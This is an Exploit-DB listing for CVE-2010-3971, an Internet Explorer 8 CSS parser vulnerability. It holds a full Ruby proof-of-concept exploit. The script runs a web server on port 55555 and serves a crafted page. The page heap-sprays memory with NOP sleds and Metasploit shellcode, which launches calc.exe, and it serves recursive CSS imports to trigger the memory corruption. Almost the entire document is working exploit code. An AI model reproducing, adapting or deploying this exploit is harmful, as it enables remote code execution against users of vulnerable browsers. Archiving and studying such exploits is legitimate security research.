Internet Explorer 8 CSS Parser Exploit



EDB-ID: 15746 CVE: 2010-3971 OSVDB-ID: 69796
Author: Nephi Johnson Published: 2010-12-15 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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#!/usr/bin/env ruby

# Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/
# Author: Nephi Johnson (d0c_s4vage)

require 'socket'
 
def http_send(sock, data, opts={})
    defaults = {:code=>"200", :message=>"OK", :type=>"text/html"}
    opts = defaults.merge(opts)
    
    code = opts[:code]
    message = opts[:message]
    type = opts[:type]
    
    to_send = "HTTP/1.1 #{code} #{message}\r\n" +
              "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" +
              "Cache-Control: no-cache\r\n" +
              "Content-Type: #{type}\r\n" +
              "Pragma: no-cache\r\n" +
              "Content-Length: #{data.length}\r\n\r\n" +
              "#{data}"
    puts "[+] Sending:"
    to_send.split("\n").each do |line|
        puts "    #{line}"
    end
    sock.write(to_send) rescue return false
    return true
end
 
def sock_read(sock, out_str, timeout=5)
    begin
        if Kernel.select([sock],[],[],timeout)
            out_str.replace(sock.recv(1024))
            puts "[+] Received:"
            out_str.split("\n").each do |line|
                puts "    #{line}"
            end
        else
            sock.close
            return false
        end
    rescue Exception => ex
        return false
    end
end
 
def to_uni(str)
    res = ""
    str.each_byte do |b|
        res << "\x00#{b.chr}"
    end
    res
end
 
@css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s"
@html_name = "test.html"
placeholder = "a" * (@css_name.length/2)
 
@html = <<-HTML
    <script>
    function dup_str(str, length) {
        var res = str;
        while(res.length < length) {
            res += res;
        }
        res = res.substr(res.length - length);
        return res;
    }
    
    function to_bin(str) {
        var res = "";
        while(str.length > 0) {
            var first = str.substr(0, 2);
            var second = str.substr(2, 2);
            res += "%u" + second + first;
            str = (str.length > 4) ? str.substr(4) : "";
        }
        return unescape(res);
    }
 
    // first heap spray
    var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6);
    var arr = []
    for(var i = 0; i < 60000; i++) {
        arr[i] = ["" + base].join("");
    }
    
    // second heap spray w/ shellcode
    var nops = dup_str(to_bin("0c0c0c0c"), 4096+6);
    
    // windows/exec - 200 bytes
    // http://www.metasploit.com
    // EXITFUNC=process, CMD=calc.exe
    var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + 
                             "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + 
                             "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + 
                             "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + 
                             "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + 
                             "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + 
                             "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + 
                             "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + 
                             "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + 
                             "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + 
                             "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + 
                             "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + 
                             "%u6c61%u2e63%u7865%u0065");
    var arr2 = [];
    for(var i = 0; i < 30000; i++) {
        arr2[i] = [nops + shellcode].join("");
    }
    
    // write the link to the stylesheet
    var link = document.createElement("link");
    link.setAttribute("rel", "Stylesheet");
    link.setAttribute("type", "text/css");
    link.setAttribute("href", "#{placeholder}")
    document.getElementsByTagName("head")[0].appendChild(link);
    </script>
HTML
@html = "\xfe\xff" + to_uni(@html)
@html.gsub!(to_uni(placeholder), @css_name)
 
@css = <<-CSS
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
CSS
@css = "\xfe\xff" + to_uni(@css)
@css.gsub!(to_uni(placeholder), @css_name)
 
@index = <<-INDEX
<a href="#{@html_name}">#{@html_name}</a>
INDEX
 
TCPServer.open(55555) do |srv|
    while true
        cli = srv.accept
        req = ""
        html = ""
        css = ""
        index = ""
        next unless sock_read(cli, req, 5)
        while req.length > 0
            if req =~ /GET/
                if req =~ /GET.*#{Regexp.escape(@html_name)}/
                    break unless http_send(cli, @html, :type=>"text/html")
                elsif req =~ /GET.*index/
                    break unless http_send(cli, @index)
                elsif req =~ /GET.*#{Regexp.escape(@css_name)}/
                    break unless http_send(cli, @css, :type=>"text/css")
                else
                    break unless http_send(cli, @css, :type=>"text/css")
                end
            elsif req =~ /QUIT/
                exit()
            end
            req = ""
            next unless sock_read(cli, req, 5)
        end
        cli.close rescue next
    end
end